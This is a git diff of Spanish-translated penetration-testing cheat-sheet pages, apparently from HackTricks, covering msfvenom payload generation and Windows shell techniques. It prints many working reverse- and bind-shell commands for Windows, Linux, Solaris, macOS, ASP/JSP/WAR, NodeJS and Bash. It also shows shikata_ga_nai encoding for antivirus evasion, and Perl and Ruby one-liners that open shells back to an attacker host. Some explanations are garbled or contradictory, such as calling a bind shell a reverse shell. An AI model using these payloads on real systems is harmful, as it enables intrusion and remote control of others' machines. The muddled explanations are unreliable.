- `<output file>`: The name of the output file to save the payload.
|
||||
- `<payload>`: El payload específico que se utilizará, como `windows/shell_bind_tcp` para sistemas Windows o `linux/x86/shell_bind_tcp` para sistemas Linux.
|
||||
- `<IP del atacante>`: La dirección IP del atacante, donde se enviarán las respuestas del servidor.
|
||||
- `<puerto>`: El puerto en el que se establecerá la conexión.
|
||||
- `<formato>`: El formato de salida deseado, como `exe`, `elf` o `raw`.
|
||||
- `<archivo de salida>`: El nombre del archivo de salida donde se guardará el payload generado.
|
||||
|
||||
For example, to create a bind shell payload for a Windows system, listening on port 4444, and save it as `shell.exe`, you can use the following command:
|
||||
|
||||
```plaintext
|
||||
msfvenom -p windows/meterpreter/bind_tcp LHOST=<attacker IP> LPORT=4444 -f exe -o shell.exe
|
||||
```
|
||||
|
||||
Once the payload is generated, you can transfer it to the target system and execute it to establish a bind shell connection.
|
||||
Una vez que se haya generado el payload de Bind Shell, se puede utilizar en una explotación o en una prueba de penetración para establecer una conexión inversa con el servidor objetivo. Esto permite al atacante ejecutar comandos en el servidor y obtener acceso remoto al sistema.
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
|
||||
```
|
||||
|
@ -169,11 +173,11 @@ msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administr
|
|||
|
||||
El codificador es una herramienta utilizada en el hacking para modificar el código fuente de un programa o script con el fin de ocultar su verdadera funcionalidad. Los codificadores se utilizan comúnmente para evadir la detección de antivirus y otras medidas de seguridad.
|
||||
|
||||
En el contexto de Metasploit, el codificador msfvenom es una herramienta poderosa que se utiliza para generar payloads (cargas útiles) codificadas. Estas cargas útiles codificadas pueden ayudar a evadir la detección de antivirus y firewalls, lo que permite a los hackers obtener acceso no autorizado a sistemas y redes.
|
||||
En el contexto de Metasploit Framework, `msfvenom` es una herramienta que se utiliza para generar payloads codificados. Estos payloads codificados pueden ser utilizados para explotar vulnerabilidades en sistemas objetivo y obtener acceso no autorizado.
|
||||
|
||||
Msfvenom ofrece una amplia gama de opciones y parámetros para personalizar las cargas útiles codificadas. Puede especificar el tipo de payload, la arquitectura del sistema objetivo, el formato de salida y el método de codificación. Algunos de los métodos de codificación disponibles incluyen `shikata_ga_nai`, `xor`, `sub`, `b64`, entre otros.
|
||||
`msfvenom` ofrece una amplia gama de opciones y parámetros que permiten personalizar el payload generado. Esto incluye la capacidad de especificar el tipo de codificación a utilizar, como `shikata_ga_nai` o `xor`, así como la capacidad de establecer la longitud del payload y el formato de salida.
|
||||
|
||||
El uso de msfvenom requiere un conocimiento sólido de la codificación y de las técnicas de evasión de seguridad. Es importante tener en cuenta que el uso de herramientas de codificación para fines maliciosos es ilegal y puede tener graves consecuencias legales.
|
||||
El uso de codificadores puede ser una técnica efectiva para evadir la detección de antivirus y otras medidas de seguridad. Sin embargo, es importante tener en cuenta que los codificadores no son una solución infalible y pueden ser detectados por soluciones de seguridad más avanzadas. Por lo tanto, es importante utilizar otras técnicas de evasión y mantenerse actualizado sobre las últimas tendencias en seguridad informática.
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
|
||||
```
|
||||
|
@ -209,32 +213,28 @@ For example, to create a reverse shell payload using the `linux/x86/shell_revers
|
|||
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f elf -o reverse_shell.elf
|
||||
```
|
||||
|
||||
This will generate a Linux ELF executable file (`reverse_shell.elf`) that, when executed on the target machine, will establish a reverse shell connection to the attacker's machine.
|
||||
This will generate a reverse shell payload in ELF format, which can be executed on a Linux machine.
|
||||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
|
||||
```
|
||||
A bind shell is a type of shell that listens for incoming connections on a specific port. Once a connection is established, the bind shell provides a command prompt interface to interact with the target system. This allows an attacker to gain remote access and control over the compromised system.
|
||||
Un *bind shell* es un tipo de shell inversa que se establece en el servidor objetivo y espera a que un atacante se conecte a él. Una vez que el atacante se conecta, puede ejecutar comandos en el servidor objetivo a través de la conexión establecida. Esto permite al atacante obtener acceso remoto al sistema objetivo y realizar diversas acciones, como la ejecución de comandos, la transferencia de archivos y la explotación de vulnerabilidades.
|
||||
|
||||
To create a bind shell payload using `msfvenom`, you can use the following command:
|
||||
El comando `msfvenom` de Metasploit Framework se puede utilizar para generar un payload de bind shell. El payload se puede personalizar para adaptarse a las necesidades del atacante, como el puerto en el que se establecerá la conexión y el tipo de shell que se utilizará.
|
||||
|
||||
A continuación se muestra un ejemplo de cómo generar un payload de bind shell utilizando `msfvenom`:
|
||||
|
||||
```plaintext
|
||||
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<port> -f <format> -o <output file>
|
||||
msfvenom -p <payload> LHOST=<attacker_ip> LPORT=<attacker_port> -f <format> -o <output_file>
|
||||
```
|
||||
|
||||
- `<payload>`: The payload to use, such as `windows/meterpreter/reverse_tcp` or `linux/x86/shell/bind_tcp`.
|
||||
- `<attacker IP>`: The IP address of the attacker machine.
|
||||
- `<port>`: The port number to listen on.
|
||||
- `<format>`: The output format, such as `exe`, `elf`, or `raw`.
|
||||
- `<output file>`: The name of the output file to save the payload.
|
||||
- `<payload>`: El payload específico que se utilizará, como `windows/meterpreter/reverse_tcp` o `linux/x86/shell/bind_tcp`.
|
||||
- `<attacker_ip>`: La dirección IP del atacante.
|
||||
- `<attacker_port>`: El puerto en el que el atacante escuchará la conexión.
|
||||
- `<format>`: El formato de salida deseado, como `exe`, `elf` o `raw`.
|
||||
- `<output_file>`: El archivo de salida donde se guardará el payload generado.
|
||||
|
||||
For example, to create a bind shell payload for a Windows system, listening on port 4444, and save it as `shell.exe`, you can use the following command:
|
||||
|
||||
```plaintext
|
||||
msfvenom -p windows/meterpreter/bind_tcp LHOST=<attacker IP> LPORT=4444 -f exe -o shell.exe
|
||||
```
|
||||
|
||||
Once the payload is generated, you can transfer it to the target system and execute it to establish a bind shell connection.
|
||||
Una vez que se haya generado el payload de bind shell, el atacante puede utilizarlo para establecer una conexión con el servidor objetivo y obtener acceso remoto al sistema.
|
||||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
|
||||
```
|
||||
|
@ -248,25 +248,39 @@ Msfvenom es una herramienta de Metasploit que se utiliza para generar cargas út
|
|||
|
||||
Para generar una carga útil para SunOS (Solaris) con msfvenom, se puede utilizar el siguiente comando:
|
||||
|
||||
```
|
||||
```plaintext
|
||||
msfvenom -p <payload> LHOST=<IP> LPORT=<puerto> -f <formato> > <archivo>
|
||||
```
|
||||
|
||||
Donde:
|
||||
|
||||
- `<payload>`: el tipo de carga útil que se desea generar.
|
||||
- `<IP>`: la dirección IP del host atacante.
|
||||
- `<puerto>`: el puerto en el que se escuchará la conexión.
|
||||
- `<formato>`: el formato en el que se generará la carga útil.
|
||||
- `<archivo>`: el nombre del archivo en el que se guardará la carga útil generada.
|
||||
- `<payload>`: Especifica el tipo de carga útil que se desea generar.
|
||||
- `<IP>`: Especifica la dirección IP del host atacante.
|
||||
- `<puerto>`: Especifica el puerto en el host atacante donde se escuchará la conexión.
|
||||
- `<formato>`: Especifica el formato de salida de la carga útil.
|
||||
- `<archivo>`: Especifica el nombre del archivo donde se guardará la carga útil generada.
|
||||
|
||||
Por ejemplo, para generar una carga útil de shell reversa para SunOS (Solaris) con msfvenom, se puede utilizar el siguiente comando:
|
||||
|
||||
```
|
||||
msfvenom -p solaris/x86/shell_reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f elf > shell.elf
|
||||
```plaintext
|
||||
msfvenom -p solaris/x86/shell_reverse_tcp LHOST=192.168.0.10 LPORT=4444 -f elf > shell.elf
|
||||
```
|
||||
|
||||
Este comando generará una carga útil de shell reversa en formato ELF y la guardará en un archivo llamado `shell.elf`.
|
||||
|
||||
#### Ejecutando la carga útil en SunOS (Solaris)
|
||||
|
||||
Una vez que se haya generado la carga útil, se puede transferir al sistema SunOS (Solaris) objetivo y ejecutarla. Esto se puede hacer utilizando diferentes métodos, como la transferencia de archivos a través de SSH o la explotación de una vulnerabilidad en el sistema.
|
||||
|
||||
Una vez que la carga útil esté en el sistema objetivo, se puede ejecutar utilizando un intérprete de comandos o un programa que pueda ejecutar archivos ELF. Por ejemplo, se puede utilizar el siguiente comando para ejecutar una carga útil en SunOS (Solaris):
|
||||
|
||||
```plaintext
|
||||
./shell.elf
|
||||
```
|
||||
|
||||
Esto ejecutará la carga útil y establecerá una conexión de shell reversa con el host atacante en la dirección IP y puerto especificados durante la generación de la carga útil.
|
||||
|
||||
Es importante tener en cuenta que la ejecución de cargas útiles en sistemas sin autorización es ilegal y solo debe realizarse con fines educativos o en entornos controlados y autorizados.
|
||||
```bash
|
||||
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
|
||||
```
|
||||
|
@ -279,10 +293,10 @@ Para crear un payload de shell inversa en macOS, podemos utilizar la herramienta
|
|||
El siguiente comando genera un payload de shell inversa para macOS:
|
||||
|
||||
```plaintext
|
||||
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f macho > reverse_shell.macho
|
||||
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP_DEL_ATACANTE> LPORT=<PUERTO_DEL_ATACANTE> -f macho > shell.macho
|
||||
```
|
||||
|
||||
Reemplaza `<attacker IP>` con la dirección IP de la máquina del atacante y `<attacker port>` con el puerto que deseas utilizar para la conexión inversa.
|
||||
Reemplaza `<IP_DEL_ATACANTE>` con la dirección IP de la máquina del atacante y `<PUERTO_DEL_ATACANTE>` con el puerto que deseas utilizar para la conexión inversa.
|
||||
|
||||
Una vez que se haya generado el payload, puedes transferirlo a la máquina objetivo y ejecutarlo para establecer la conexión inversa.
|
||||
```bash
|
||||
|
@ -318,33 +332,33 @@ El shell inverso es una técnica utilizada en hacking para establecer una conexi
|
|||
El payload `windows/meterpreter/reverse_tcp` se puede generar utilizando la herramienta `msfvenom` de Metasploit. A continuación se muestra el comando para generar el payload:
|
||||
|
||||
```plaintext
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f aspx > shell.aspx
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f asp > shell.asp
|
||||
```
|
||||
|
||||
Reemplaza `<attacker IP>` con la dirección IP del atacante y `<attacker port>` con el puerto que el atacante desea utilizar para la conexión inversa.
|
||||
|
||||
Una vez generado el archivo `shell.aspx`, se puede cargar en el servidor web de la máquina objetivo. Cuando un usuario accede a `shell.aspx`, se establecerá una conexión inversa con el atacante y se abrirá una sesión de Meterpreter.
|
||||
Una vez generado el archivo `shell.asp`, se puede cargar en el servidor web de la máquina objetivo. Cuando el archivo `shell.asp` se ejecute en el servidor, establecerá una conexión inversa con el atacante, permitiendo al atacante controlar la máquina objetivo de forma remota.
|
||||
|
||||
Es importante tener en cuenta que el uso de técnicas de hacking como el shell inverso puede ser ilegal y violar la privacidad y seguridad de las personas. Solo se debe utilizar con fines éticos y legales, como parte de pruebas de penetración autorizadas.
|
||||
Es importante tener en cuenta que el uso de técnicas de hacking como el shell inverso sin el consentimiento explícito del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves.
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
|
||||
```
|
||||
El shell inverso es una técnica utilizada en hacking para establecer una conexión remota entre un atacante y una máquina comprometida. Esto permite al atacante ejecutar comandos en la máquina comprometida de forma remota.
|
||||
El shell inverso es una técnica utilizada en hacking para establecer una conexión remota entre un atacante y una máquina comprometida. Esto permite al atacante ejecutar comandos en la máquina comprometida y obtener acceso a su sistema.
|
||||
|
||||
En el caso de JSP (JavaServer Pages), podemos utilizar la herramienta `msfvenom` de Metasploit para generar un payload JSP que establezca una conexión de shell inverso.
|
||||
En el caso de JSP (JavaServer Pages), se puede utilizar la herramienta `msfvenom` de Metasploit para generar un payload JSP que establezca una conexión de shell inverso. `msfvenom` es una herramienta de generación de payloads de Metasploit que permite a los hackers personalizar y generar payloads para diferentes tipos de ataques.
|
||||
|
||||
El siguiente comando genera un payload JSP utilizando `msfvenom`:
|
||||
Para generar un payload JSP con `msfvenom`, se puede utilizar el siguiente comando:
|
||||
|
||||
```plaintext
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f raw > shell.jsp
|
||||
```
|
||||
|
||||
Reemplaza `<attacker IP>` con la dirección IP del atacante y `<attacker port>` con el puerto que el atacante desea utilizar para la conexión de shell inverso.
|
||||
Donde `<attacker IP>` es la dirección IP del atacante y `<attacker port>` es el puerto en el que el atacante escuchará la conexión de shell inverso.
|
||||
|
||||
Una vez que se haya generado el archivo `shell.jsp`, puedes cargarlo en un servidor web y acceder a él desde la máquina comprometida. Esto ejecutará el payload JSP y establecerá la conexión de shell inverso con el atacante.
|
||||
Una vez generado el archivo `shell.jsp`, se puede cargar en un servidor web y enviar el enlace a la víctima. Cuando la víctima acceda al enlace, se establecerá una conexión de shell inverso con el atacante, lo que permitirá al atacante ejecutar comandos en la máquina comprometida.
|
||||
|
||||
Es importante tener en cuenta que el uso de técnicas de hacking como el shell inverso puede ser ilegal y está sujeto a sanciones legales. Solo debes utilizar estas técnicas en entornos controlados y con el permiso explícito del propietario del sistema.
|
||||
Es importante tener en cuenta que el uso de técnicas de hacking como el shell inverso puede ser ilegal y violar la privacidad y seguridad de otras personas. Solo se debe utilizar con fines éticos y legales, como parte de pruebas de penetración autorizadas o actividades de investigación.
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
|
||||
```
|
||||
|
@ -360,19 +374,21 @@ Para generar un payload de shell inverso utilizando `msfvenom`, se deben especif
|
|||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_DEL_ATACANTE> LPORT=<PUERTO_DEL_ATACANTE> -f exe > shell.exe
|
||||
```
|
||||
|
||||
En el ejemplo anterior, `msfvenom` generará un payload de shell inverso para Windows que se conectará a la dirección IP y puerto especificados. El payload se guardará en un archivo llamado `shell.exe`.
|
||||
En el ejemplo anterior, `windows/meterpreter/reverse_tcp` es el tipo de payload que se utilizará para el shell inverso. `<IP_DEL_ATACANTE>` debe reemplazarse por la dirección IP del atacante y `<PUERTO_DEL_ATACANTE>` debe reemplazarse por el puerto al que el atacante desea conectarse.
|
||||
|
||||
Una vez que se haya generado el payload de shell inverso, se puede utilizar en un ataque de hacking para establecer una conexión remota con la máquina comprometida. Esto permitirá al atacante ejecutar comandos en la máquina comprometida y obtener acceso a su sistema.
|
||||
Una vez que se haya generado el payload de shell inverso, se puede enviar a la máquina comprometida y ejecutarlo. Esto establecerá una conexión entre el atacante y la máquina comprometida, lo que permitirá al atacante controlar el sistema comprometido y ejecutar comandos en él.
|
||||
|
||||
Es importante tener en cuenta que el uso de técnicas de shell inverso para acceder a sistemas sin autorización es ilegal y puede tener consecuencias legales graves. El shell inverso solo debe utilizarse con fines educativos o en entornos controlados, como pruebas de penetración autorizadas.
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
|
||||
```
|
||||
### NodeJS
|
||||
|
||||
NodeJS es una plataforma de desarrollo de aplicaciones de servidor que utiliza JavaScript como lenguaje de programación. Es conocido por su capacidad para manejar una gran cantidad de conexiones simultáneas y su eficiencia en el manejo de operaciones de entrada/salida. NodeJS utiliza el motor de JavaScript V8 de Google Chrome para ejecutar código JavaScript en el servidor.
|
||||
NodeJS es un entorno de ejecución de JavaScript basado en el motor V8 de Google Chrome. Es ampliamente utilizado para desarrollar aplicaciones de servidor y permite a los desarrolladores utilizar JavaScript tanto en el lado del cliente como en el lado del servidor. NodeJS es conocido por su capacidad para manejar una gran cantidad de conexiones simultáneas de forma eficiente, lo que lo hace ideal para aplicaciones en tiempo real y de alto rendimiento.
|
||||
|
||||
#### Creación de payloads con msfvenom
|
||||
|
||||
Msfvenom es una herramienta de Metasploit que se utiliza para generar payloads personalizados. Un payload es un fragmento de código malicioso que se utiliza para explotar una vulnerabilidad en un sistema objetivo. Msfvenom permite generar payloads para una amplia variedad de plataformas y arquitecturas.
|
||||
Msfvenom es una herramienta de Metasploit que se utiliza para generar payloads personalizados. Un payload es un fragmento de código malicioso que se ejecuta en la máquina objetivo después de una explotación exitosa. Msfvenom permite a los hackers personalizar y adaptar los payloads según sus necesidades.
|
||||
|
||||
Para crear un payload con msfvenom, se utiliza el siguiente comando:
|
||||
|
||||
|
@ -380,16 +396,12 @@ Para crear un payload con msfvenom, se utiliza el siguiente comando:
|
|||
msfvenom -p <payload> <opciones> -f <formato> -o <archivo de salida>
|
||||
```
|
||||
|
||||
Donde:
|
||||
|
||||
- `<payload>`: especifica el tipo de payload que se va a generar, como `windows/meterpreter/reverse_tcp` o `linux/x86/meterpreter/reverse_tcp`.
|
||||
- `<opciones>`: se utilizan para configurar el payload, como la dirección IP y el puerto del atacante.
|
||||
- `<payload>`: especifica el tipo de payload que se va a generar, como `windows/meterpreter/reverse_tcp` o `linux/x86/shell_reverse_tcp`.
|
||||
- `<opciones>`: proporciona opciones adicionales para personalizar el payload, como la dirección IP y el puerto de escucha.
|
||||
- `<formato>`: especifica el formato de salida del payload, como `exe`, `elf` o `raw`.
|
||||
- `<archivo de salida>`: especifica el nombre y la ubicación del archivo de salida que contendrá el payload generado.
|
||||
|
||||
Una vez que se ha generado el payload, se puede utilizar en una variedad de escenarios de hacking, como la explotación de vulnerabilidades o la creación de backdoors en sistemas comprometidos.
|
||||
|
||||
Es importante tener en cuenta que el uso de msfvenom para generar payloads maliciosos puede ser ilegal y está sujeto a las leyes y regulaciones locales. Se recomienda utilizar esta herramienta solo con fines educativos y éticos, y obtener el consentimiento adecuado antes de realizar cualquier actividad de hacking.
|
||||
Una vez que se ha generado el payload, se puede utilizar en una explotación para obtener acceso no autorizado a la máquina objetivo. Es importante tener en cuenta que el uso de payloads maliciosos está sujeto a leyes y regulaciones, y solo debe realizarse con fines legales y éticos.
|
||||
```bash
|
||||
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
||||
```
|
||||
|
@ -440,7 +452,7 @@ Bash proporciona una amplia gama de características y funcionalidades, lo que l
|
|||
|
||||
- **Control de flujo**: Bash proporciona una variedad de estructuras de control de flujo, como bucles y condicionales, que permiten a los hackers controlar el flujo de ejecución de los comandos.
|
||||
|
||||
- **Funciones**: Bash permite definir y utilizar funciones, lo que facilita la reutilización de código y la organización de tareas.
|
||||
- **Funciones**: Bash permite definir y utilizar funciones, lo que facilita la reutilización de código y la organización de tareas complejas.
|
||||
|
||||
- **Autocompletado**: Bash ofrece autocompletado de comandos y nombres de archivos, lo que agiliza la escritura de comandos y reduce los errores.
|
||||
|
||||
|
@ -450,7 +462,7 @@ Estas características hacen de Bash una herramienta poderosa para los hackers,
|
|||
```bash
|
||||
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -461,7 +473,7 @@ Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el p
|
|||
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la tabla de clasificación semanal.
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -31,8 +31,8 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
|
||||
## Lolbas
|
||||
|
||||
La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows lo que [https://gtfobins.github.io/](https://gtfobins.github.io/) es para Linux.\
|
||||
Obviamente, **no hay archivos SUID ni privilegios de sudo en Windows**, pero es útil saber **cómo** algunos **binarios** pueden ser (ab)usados para realizar algún tipo de acción inesperada como **ejecutar código arbitrario**.
|
||||
La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) es para Linux.\
|
||||
Obviamente, **no hay archivos SUID ni privilegios de sudo en Windows**, pero es útil saber **cómo** algunos **binarios** pueden ser (ab)usados para realizar algún tipo de acciones inesperadas como **ejecutar código arbitrario**.
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -49,31 +49,50 @@ C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('1
|
|||
```
|
||||
## Perl
|
||||
|
||||
Perl es un lenguaje de programación de alto nivel y de propósito general que se utiliza comúnmente en el desarrollo de scripts y en la administración de sistemas. Es especialmente útil para la manipulación de texto y el procesamiento de archivos. Perl es conocido por su flexibilidad y su capacidad para manejar tareas complejas de manera eficiente.
|
||||
Perl es un lenguaje de programación interpretado y de alto nivel que se utiliza comúnmente en el desarrollo de scripts y aplicaciones web. Es conocido por su flexibilidad y potencia, lo que lo convierte en una herramienta popular entre los hackers.
|
||||
|
||||
### Ejecución de comandos en Windows
|
||||
### Ejecución de comandos
|
||||
|
||||
En Windows, se puede utilizar Perl para ejecutar comandos del sistema y obtener su salida. Esto puede ser útil durante una prueba de penetración para obtener información sobre el sistema objetivo.
|
||||
|
||||
Para ejecutar un comando en Windows utilizando Perl, se puede utilizar la función `system()` o la función `backticks`. Ambas funciones permiten ejecutar comandos y capturar su salida.
|
||||
|
||||
#### Ejemplo de uso de la función `system()`
|
||||
Perl proporciona una forma sencilla de ejecutar comandos en el sistema operativo subyacente utilizando la función `system()`. Esta función toma como argumento una cadena que representa el comando a ejecutar y devuelve el resultado de la ejecución.
|
||||
|
||||
```perl
|
||||
my $output = system("comando");
|
||||
system("comando");
|
||||
```
|
||||
|
||||
En este ejemplo, el comando se ejecuta y su salida se almacena en la variable `$output`. Sin embargo, la función `system()` solo devuelve el estado de salida del comando, no su salida real.
|
||||
### Manipulación de archivos
|
||||
|
||||
#### Ejemplo de uso de la función `backticks`
|
||||
Perl también ofrece una amplia gama de funciones para manipular archivos. Puedes abrir, leer, escribir y cerrar archivos utilizando las siguientes funciones:
|
||||
|
||||
- `open()`: Abre un archivo en modo de lectura o escritura.
|
||||
- `read()`: Lee una cantidad específica de bytes de un archivo.
|
||||
- `write()`: Escribe una cadena en un archivo.
|
||||
- `close()`: Cierra un archivo abierto.
|
||||
|
||||
```perl
|
||||
my $output = `comando`;
|
||||
open(FILE, "archivo.txt");
|
||||
$contenido = <FILE>;
|
||||
close(FILE);
|
||||
```
|
||||
|
||||
En este ejemplo, el comando se ejecuta y su salida se almacena en la variable `$output`. La función `backticks` devuelve la salida real del comando.
|
||||
### Expresiones regulares
|
||||
|
||||
Es importante tener en cuenta que ejecutar comandos del sistema puede ser peligroso y debe hacerse con precaución. Se deben tomar medidas para evitar la ejecución de comandos maliciosos o no deseados.
|
||||
Las expresiones regulares son una herramienta poderosa para buscar y manipular patrones de texto en Perl. Puedes utilizar expresiones regulares para realizar búsquedas, reemplazos y extracciones de texto.
|
||||
|
||||
```perl
|
||||
if ($cadena =~ /patrón/) {
|
||||
# Realiza una acción si se encuentra el patrón
|
||||
}
|
||||
```
|
||||
|
||||
### Módulos CPAN
|
||||
|
||||
CPAN (Comprehensive Perl Archive Network) es una colección de módulos Perl que puedes utilizar para ampliar las capacidades de Perl. Puedes instalar módulos CPAN utilizando el comando `cpan` en la línea de comandos.
|
||||
|
||||
```perl
|
||||
use NombreDelModulo;
|
||||
```
|
||||
|
||||
Estos son solo algunos ejemplos de las capacidades de Perl en el hacking. Con su amplia gama de funciones y su comunidad activa, Perl es una herramienta poderosa para cualquier hacker.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
|
@ -102,9 +121,9 @@ Para instalar Ruby en Windows, puedes seguir estos pasos:
|
|||
|
||||
Para ejecutar un script Ruby en Windows, sigue estos pasos:
|
||||
|
||||
1. Abre el símbolo del sistema (Command Prompt) y navega hasta la ubicación del archivo de script Ruby.
|
||||
1. Abre el símbolo del sistema (Command Prompt) y navega hasta la ubicación del archivo de script Ruby utilizando el comando `cd`.
|
||||
|
||||
2. Ejecuta el siguiente comando para ejecutar el script:
|
||||
2. Una vez que estés en la ubicación correcta, ejecuta el siguiente comando para ejecutar el script:
|
||||
|
||||
```
|
||||
ruby nombre_del_script.rb
|
||||
|
@ -114,26 +133,34 @@ Para ejecutar un script Ruby en Windows, sigue estos pasos:
|
|||
|
||||
### Interacción con la consola de Ruby
|
||||
|
||||
Ruby proporciona una consola interactiva que te permite ejecutar código Ruby en tiempo real. Para abrir la consola de Ruby en Windows, sigue estos pasos:
|
||||
Puedes interactuar con la consola de Ruby en Windows siguiendo estos pasos:
|
||||
|
||||
1. Abre el símbolo del sistema (Command Prompt).
|
||||
|
||||
2. Ejecuta el siguiente comando para abrir la consola de Ruby:
|
||||
1. Abre el símbolo del sistema (Command Prompt) y ejecuta el siguiente comando para abrir la consola de Ruby:
|
||||
|
||||
```
|
||||
irb
|
||||
```
|
||||
|
||||
Ahora puedes ingresar y ejecutar código Ruby directamente en la consola.
|
||||
2. Ahora puedes ingresar y ejecutar comandos de Ruby directamente en la consola. Por ejemplo, puedes escribir `puts "Hola, mundo"` y presionar Enter para ver el resultado.
|
||||
|
||||
```
|
||||
irb(main):001:0> puts "Hola, mundo"
|
||||
Hola, mundo
|
||||
=> nil
|
||||
```
|
||||
|
||||
Para salir de la consola de Ruby, simplemente escribe `exit` y presiona Enter.
|
||||
|
||||
### Recursos adicionales
|
||||
|
||||
Aquí hay algunos recursos adicionales que pueden ser útiles para aprender más sobre Ruby:
|
||||
|
||||
- [Sitio web oficial de Ruby](https://www.ruby-lang.org)
|
||||
- [Ruby-Doc.org](https://ruby-doc.org) - Documentación oficial de Ruby
|
||||
- [RubyGems.org](https://rubygems.org) - Repositorio de gemas de Ruby
|
||||
- [Ruby on Rails](https://rubyonrails.org) - Framework de desarrollo web basado en Ruby
|
||||
- [Documentación oficial de Ruby](https://www.ruby-lang.org/es/documentation/)
|
||||
- [RubyGems](https://rubygems.org/): un administrador de paquetes para Ruby
|
||||
- [Ruby Toolbox](https://www.ruby-toolbox.com/): una colección de herramientas y bibliotecas populares de Ruby
|
||||
- [Ruby on Rails](https://rubyonrails.org/): un framework de desarrollo web basado en Ruby
|
||||
|
||||
¡Diviértete explorando Ruby y desarrollando tus habilidades de programación!
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
|
@ -158,13 +185,11 @@ Por ejemplo, puedes ejecutar el siguiente comando para imprimir "Hola, mundo!" e
|
|||
print("Hola, mundo!")
|
||||
```
|
||||
|
||||
El shell de Lua también admite variables y expresiones matemáticas. Puedes asignar valores a variables y realizar operaciones matemáticas utilizando los operadores estándar de Lua.
|
||||
El shell de Lua también admite variables, operaciones matemáticas y estructuras de control, lo que te permite realizar tareas más avanzadas.
|
||||
|
||||
### Ejecución de scripts de Lua
|
||||
|
||||
Además de ejecutar comandos individuales, el shell de Lua también te permite ejecutar scripts de Lua completos. Un script de Lua es un archivo de texto que contiene código Lua que se ejecutará en secuencia.
|
||||
|
||||
Para ejecutar un script de Lua en el shell, primero debes crear un archivo de texto con extensión `.lua` que contenga el código Lua. Luego, puedes ejecutar el script utilizando el comando `dofile` seguido del nombre del archivo.
|
||||
Además de ejecutar comandos individuales, el shell de Lua también te permite ejecutar scripts completos almacenados en archivos. Para ejecutar un script de Lua, debes guardar el código en un archivo con extensión `.lua` y luego ejecutar el comando `lua` seguido del nombre del archivo.
|
||||
|
||||
Por ejemplo, si tienes un archivo llamado `mi_script.lua` que contiene el siguiente código:
|
||||
|
||||
|
